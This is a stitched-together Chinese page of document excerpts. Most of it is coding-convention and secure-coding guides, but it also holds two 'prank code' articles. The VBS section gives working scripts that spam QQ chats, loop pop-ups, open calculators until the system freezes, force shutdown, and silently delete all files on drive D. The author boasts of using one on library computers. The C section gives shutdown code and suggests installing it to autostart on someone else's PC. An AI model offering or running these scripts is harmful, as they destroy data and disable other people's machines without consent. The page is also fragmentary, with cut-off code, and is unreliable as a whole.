目录 程序编写规范及约定 (3) 1编写目的 (3) 2代码编写风格 (3) 2.1单元风格 (3) 2.2语句风格 (3) 3命名规则 (3) 3.1命名约定 (3) 3.1.1标志符 (3) 3.1.2类class (3) 3.1.3枚举类型enum (4) 3.1.4委托delegate (4) 3.1.5常量const (4) 3.1.6接口interface (4) 3.1.7方法function (4) 3.1.8命名空间namespace (4) 3.1.9参数 (4) 3.1.10局部变量 (5) 3.1.11数据成员 (5) 3.1.12自定义异常类 (5) 3.1.13命名缩写 (5) 3.1.14数据库命名 (5) 3.2代码编写命名规范 (6) 3.3界面常用控件命名约定 (6) 3.4文件命名规范 (7) 3.4.1文档文件命名 (7) 3.4.2配置文件命名 (7) 3.4.3程序文件命名 (7)
程序编写规范及约定 1编写目的 为了使编写代码具有可读性、可理解性、可维护性，对程序编写人员代码实行统一风格，使得程序代码能够以名称反映含义、以形式反映结构。此文档可供程序代码编写人员及代码维护人员使用。 2代码编写风格 2.1单元风格 2.2语句风格 3命名规则 3.1命名约定 Pascal和Camel命名约定： 编程的命名方式主要有Pascal和Camel两种（Pascal：每个单词的首字母大写，例如ProductType；Camel：首个单词的首字母小写，其余单词的首字母大写，例如productType） 3.1.1标志符 规则：Pascal、Camel 实例与描述：例子说明 3.1.2类class 规则：Pascal 实例与描述：Application
vbs整人代码大集合 多年的代码收集
vbs整人代码大集合，收集的比较全，喜欢的朋友可以参考下。不要搞破坏，学习vbs的朋友非常有帮助，死循环的使用比较多。 一、你打开好友的聊天对话框,然后记下在你QQ里好友的昵称,把下面代码里的xx替换一下,就可以自定义发送QQ信息到好友的次数(代码里的数字10改一下即可). xx.vbs=> 复制代码代码如下: On Error Resume Next Dim wsh,ye set wsh=createobject("wscript.shell") for i=1 to 10 wscript.sleep 700 wsh.AppActivate("与xx 聊天中") wsh.sendKeys "^v" wsh.sendKeys i wsh.sendKeys "%s" next wscript.quit QQ骚扰信息,也可以用在其它程序上。 二、我就用这个程序放在学校图书馆查询书刊的机器上，好多人都那它没办法，哈哈 ------------------------------------------------------------------------------ do msgbox "Y ou are foolish!" loop ------------------------------------------------------------------------------ 三、打开无数个计算器，直到死机 ------------------------------------------------------------------------------ set wsh=createobject("wscript.shell") do wsh.run "calc" loop ----------------------------------------------------------------------------- 四、直接关机 ----------------------------------------------------------------------------- dim WSHshell set WSHshell = wscript.createobject("wscript.shell") WSHshell.run "shutdown -f -s -t 00",0 ,true ----------------------------------------------------------------------------- 五、删除D:\所有文件 --------------------------------------------------------------------------- dim WSHshell set WSHshell = wscript.createobject("wscript.shell") WSHshell.run "cmd /c ""del d:\*.* / f /q /s""",0 ,true
Java代码编写规范(参考)
命名规范： 1.所有的标识都只能使用ASCII字母（A-Z或a-z）、数字（0-9）和 下划线”_”。 2.一个唯一包名的前缀总是用全部小写的字母。 3.类名是一个名词，采用大小写混合的方式，每个单词的首字母大 写。 4.接口的大小写规则与类名相似。 5.方法名是一个动词或是动词词组，采用大小写混合的方式，第一 个单词的首字母小写，其后单词的首字母大写。 6.变量名的第一个字母小写，任何中间单词的首字母大写，变量名 应简短且可以顾名思义，易于记忆。避免单个字符的变量名，除非是一次性的临时变量。 7.常量的声明应该全部大写，每个单词之间用”_”连接。 注释规范： 1.注释尽可能使用”//”,对于所有的Javadoc的注释使用/***/，而 临时对代码块进行注释应尽量使用/**/。 2.所有的源文件都应该在开头有一个注释，其中列出文件名、日期 和类的功能概述。每个方法必须添加文档注释（main除外）。 3.每个属性必须加注释。 4.代码中至少包含15%的注释。 5.注释使用中文。
缩进排版规范： 1.避免一行的长度超过60个字符。 2.使用Eclipse源代码的格式化功能完成代码的缩进排版。 文件名规范： 1.一个Java源文件只能储存一个Java类。 2.文件名与Java类相同。 3.一个类文件不超过200行。 声明规范： 1.一行声明一个变量。 2.不要将不同类型变量的声明放在同一行。 3.只在代块的开始处声明变量。 4.所有的变量必须在声明时初始化。 5.避免声明的局部变量覆盖上一级声明的变量。 6.方法与方法直接以空行分隔。 语句规范： 1.每行至少包含一条简单语句。 2.在return语句中，返回值不使用小括号”()”括起来。 3.If月总是用{和}括起来。 4.在for语句的初始化或者更新子句中，避免因使用3个以上变量， 而导致复杂度提高。 5.当switch的一个case顺着往下执行时（因为没有break），通常 应在break语句的位置添加注释。
c语言整人代码
C语言的自动关机程序和捉弄人的小程序 可以用C语言中的system()函数来实现系统的自动关机程序，可以设置多长时间后将自动关机。当然马上关机也是可以的，我们就可以恶搞别人计算机了（你事先得知道怎么解），将写好的自动关机程序复制到别人电脑，然后将可执行的 文件设为开机自动启动，别人每次开机的时候电脑都会莫名其妙的自动关闭。哈、更狠的是将自动关机程序改为自动重启程序（这是很容易的），后果你一定能想到了吧~还可以改进一下，就是每次开机的时候让用户输入“我是猪”，不然的话就20秒钟之后就自动关机或者自动重启~把“我是猪”换成其他的词说不定更好玩，比如“我爱你”、“我爱×××”之类，你觉得会有严重后果的就不要玩哦、 好啦，就说到这里，下面送上这两个程序的源代码。一个是自动关机程序，很简单，另一个是让用户输入“我是猪”不然就多长时间之后自动关机 源程序1： #include
{ system("shutdown -f -s -t 100"); Sleep(5000); system("shutdown -a"); return 0; } 这个程序5秒后就取消了自动关机了，自己人不整自己人~ 源程序2： #include
代码开发规范
代码开发规范 1 前言 1.1 为什么需要开发规范 编码规范对于程序员而言尤为重要，有以下几个原因： * 一个软件的生命周期中，80%的花费在于维护 * 几乎没有任何一个软件，在其整个生命周期中，均由最初的开发人员来维护* 编码规范可以改善软件的可读性，可以让程序员尽快而彻底地理解新的代码 * 如果你将源码作为产品发布，就需要确任它是否被很好的打包并且清晰无误，一如你已构建的其它任何产品 1.2 开发规范的作用 * 减少维护花费 * 提高可读性 * 加快工作交接 * 减少名字增生 * 降低缺陷引入的机会
2 命名规范 2.1 常量命名规范 2.1.1 类型 常量命名规范 2.1.2 说明 常量用于保存需要常驻内存中并且经常使用变化不多的数据，定义常量的名称的时候需要遵循望文知意的原则； 2.1.3 规则 1.全部为大写字母； 2.中间以“_”连接； 3.望文知意原则； 2.1.4 备注 代码中涉及到直接使用某个字符串或者其他基本类型的值时，建议定义成常量，避免多处直接使用同样的值作为参数。 2.1.5 举例 ?如：定义一个常量表示最小屏幕宽度的常量，则可以定义一个int类型的常 量，该常量可以命名为：“MIN_SCREEN_WIDTH“； ?其他举例： ?例如：static final int MIN_SCREEN_WIDTH = 4；( √) ?例如：static final int min_screen_width = 4;（×） ?例如：static final int minScreenWidth = 4; （×） ?例如：static final int WIDTH = 4；（×）
程序代码注释编写规范
程序代码注释编写规范 XXX份公司
为提高控制程序的阅读性与可理解性，现制定相关代码程序代码注释编写的编写规范。 一般情况下，源程序有效注释量必须在20％以上，注释的原则是有助于对程序的阅读理解，在该加的地方都加了，注释不宜太多也不能太少，注释语言必须准确、易懂、简洁。 常规注释有以下两种方式。 单行:以"//"符号开始，任何位于该符号之后的本行文字都视为注释。 多行:以"/*"符号开始，以"*/"结束。任何介于这对符号之间的文字都视为注释。 一、说明性文件 说明性文件（如头文件.h文件、.inc文件、.def文件、编译说明文件.cfg等）头部应进行注释，注释必须列出：版权说明、版本号、生成日期、作者、内容、功能、与其它文件的关系、修改日志等，头文件的注释中还应有函数功能简要说明。 示例：下面这段头文件的头注释比较标准，当然，并不局限于此格式，但上述信息建议要包含在内。 /************************************************* COPYRIGHT (C), MicTiVo International. Co., Ltd. File NAME: // 文件 Author: Version: Date: // 作者、版本及完成日期 DESCRIPTION: // 用于详细说明此程序文件完成的主要功能，与其他模块 // 或函数的接口，输出值、取值范围、含义及参数间的控 // 制、顺序、独立或依赖等关系 Others: // 其它内容的说明 Function List: // 主要函数列表，每条记录应包括函数名及功能简要说明 1.... History: // 修改历史记录列表，每条修改记录应包括修改日期、修改 // 者及修改内容简述 1. Date: Author: Modification: 2. .. *************************************************/ 二、源文件头 源文件头部应进行注释，列出：版权说明、版本号、生成日期、作者、模块目的/功能、主要函数及其功能、修改日志等。 示例：下面这段源文件的头注释比较标准，当然，并不局限于此格式，但上述信息建议要包含在内。 /************************************************************
安全代码编写规范
安全代码编写规范 一、编写目的 为加强武汉楚烟信息技术有限公司在软件开发中的安全规范要求，减少应用上线后带来潜在的安全风险，特拟定安全代码编写规范。二、使用范围 本规范适用于武汉楚烟信息技术有限公司承建的各类开发类的软件类项目。 三、应用安全设计 在总体架构设计阶段，需明确与客户方沟通确认甲方对于软件安全的相关要求，对于有明确安全要求的（例如授权管理要求、用户认证要求、日志审计要求等），须在设计文档中予以详细说明。对于互联网应用，务必明确网络安全、应用安全、数据安全相关的安全防护手段。 在技术架构上，应采用表现层、服务层、持久层分类的架构，实现对底层业务逻辑进行有效隔离，避免将底层实现细节暴露给最终用户。 在部署架构上，应采用应用服务器、数据库服务器的分离部署模式，在应用服务器被攻击时，不会导致核心应用数据的丢失。如软件产品具备有条件时，应优先采用加密数据传输方式（例如https协议）。 在外部接口设计方面，应采用最小接口暴露的原则，避免开发不必要的服务方法带来相关安全隐患，同时对于第三方接口，应共同商定第三方接入的身份认证方式和手段。
四、应用安全编码 4.1. 输入验证 对于用户输入项进行数据验证，除常见的数据格式、数据长度外，还需要对特殊的危险字符进行处理。特殊字符包括<> " ' % ( ) & + \ \' \"等 对于核心业务功能，除在客户端或浏览器进行数据验证外，还必须在服务器端对数据进行合法性检验，规避用户跳过客户端校验，直接将不合规的数据保存到应用中。 对于浏览器重定向地址的数据，需要进行验证核实，确认重定向地址是否在可信，并且需要对换行符（\r或\n）进行移除或者替换。 4.2. 数据输出 对需要输出到用户浏览器的任何由用户创造的内容，应在输出到浏览器之前或持久化存储之前进行转义(至少对<>转义为< >)以防止跨站攻击脚本(XSS)。对于无法规避的HTML片段提交，需对 嵌套的节点应该缩进; 在属性上使用双引号（字符串拼接除外）; 属性名全小写，用“-”做分隔符; 自动闭合标签处不能使用斜线。
java编程规范+数据库命名规范
Java编程规范 本编程规范建立在标准的Java编程规范的基础上，如和标准的Java编程规范有冲突，以本编程规范为准。 1.1 程序结构 包名 引入包/类名 类注释 类 常量//常量注释 构造器注释 构造器 构造器注释 构造器 方法注释 方法 方法注释 方法 1.2 命名规范 命名规范使得程序更易理解，可读性更强。并且能够提供函数和标识符的信息。 文件命名规范： java程序使用如下的文件名后缀： 文件类型后缀 Java 源文件.java Java 字节码文件.class 对系统的文件命名方式有待于根据实际业务决定。 包命名规范： 包名应该唯一，它的前缀可以为任何小写的ASCII字符，包名按照公司内部的命名规范，这些规范指出了某种目录名，主要包括部门，项目，机器，或者登录名。 命名规则为： app.系统名.模块名.xxx.xxx 包命名举例： app.oa.interceptor.xxx app.oa.sys.xxx 类命名规范： 类名应该是名词，并且是大小写混合的。首字母要大写。尽量保证类名简单并且描述性强。避免使用只取单词首字母的简写或者单词的缩写形式，除非缩写形式比单词的完整形式更常用（例如：URL或者HTML）。文件名必须和public的类名保持一致，注意大小写（JBuilder 等一些编译器可以忽略大小写，要特别注意）。如是实现类命名后缀+Impl。 类命名举例： classLoginAction; classUserServiceImpl; 接口命名规范：
接口命名方式与类命名方式相同。 接口命名举例： interfaceIUserService; interfaceSysYhjsDAO; 方法命名规范； 方法名应该为动词，并且是大小写混合的。首字母要小写，方法名的第 二个单词的第一个字母大写。 方法命名举例： String getNoticeNo(); Collection findByCondition(String); 变量命名规范 变量，以及所有的类实例应为首字母小写的大小写混合形式。变量名的第二个单词 的首字母大写。变量名的首字母不能为下划线或者$符。 变量名应该尽可能的短小，但要有意义。变量名应该便于记忆，也就是说变量名应 该尽可能的做到见名知意。除了暂时使用的变量外（一般用于循环变量），应该避免使 用只有一个字母的变量名。对于临时变量一般说来：i，j，k，m，n代表整型变量。c，d，e代表字符型变量。 变量命名举例： String dataType; String name; inti; char c; 常量命名规范： 声明为类常量的变量或者ANSI常量应该全部为大写字母，并且每个单词间用下划 线“_”隔开。为了便于调试，应避免使用ANSI常量。 常量命名举例： static final int MIN_WIDTH = 4; 1.3 注释规范 Java 提供了两种类型的注释：程序注释和文档注释。程序注释是由分隔符/*…*/，和// 隔开的部分，这些注释和C++ 中的注释一样。文档注释（即“doc 注释”）是Java 独有的。由分隔符/**…*/隔开。使用javadoc工具能够将文档注释抽取出来形成HTML 文件。程序注释主要是对程序的某部分具体实现方式的注释。文档注释是对程序的描述性注释，主要是提供给不需要了解程序具体实现的开发者使用。注释应该是代码的概括性描述，提供不易直接从代码中得到的信息，并且只包含对阅读和理解程序有用的信息。例如注释中包含相应的包如何编译或者在哪个目录下，而不应该包括这个包驻留在哪儿的信息。注释中可以描述一些精妙的算法和一些不易理解的设计思想，但应该避免那些在程序代码中很清楚的表达出来的信息。尽可能的避免过时的信息。错误的注释比没有注释更有害。经常性的注释有时也反映出代码质量的低下。 …程序注释： 程序注释有四种格式：块注释格式，单行注释，跟随注释，行尾注释 ?块注释格式 块注释主要用于描述：文件、方法、数据结构和算法。一般在文件或者方法定义的 之前使用。也可以用在方法定义里面，如果块注释放在函数或者方法定义里，它必须与它所描述的代码具有相同的缩进形式。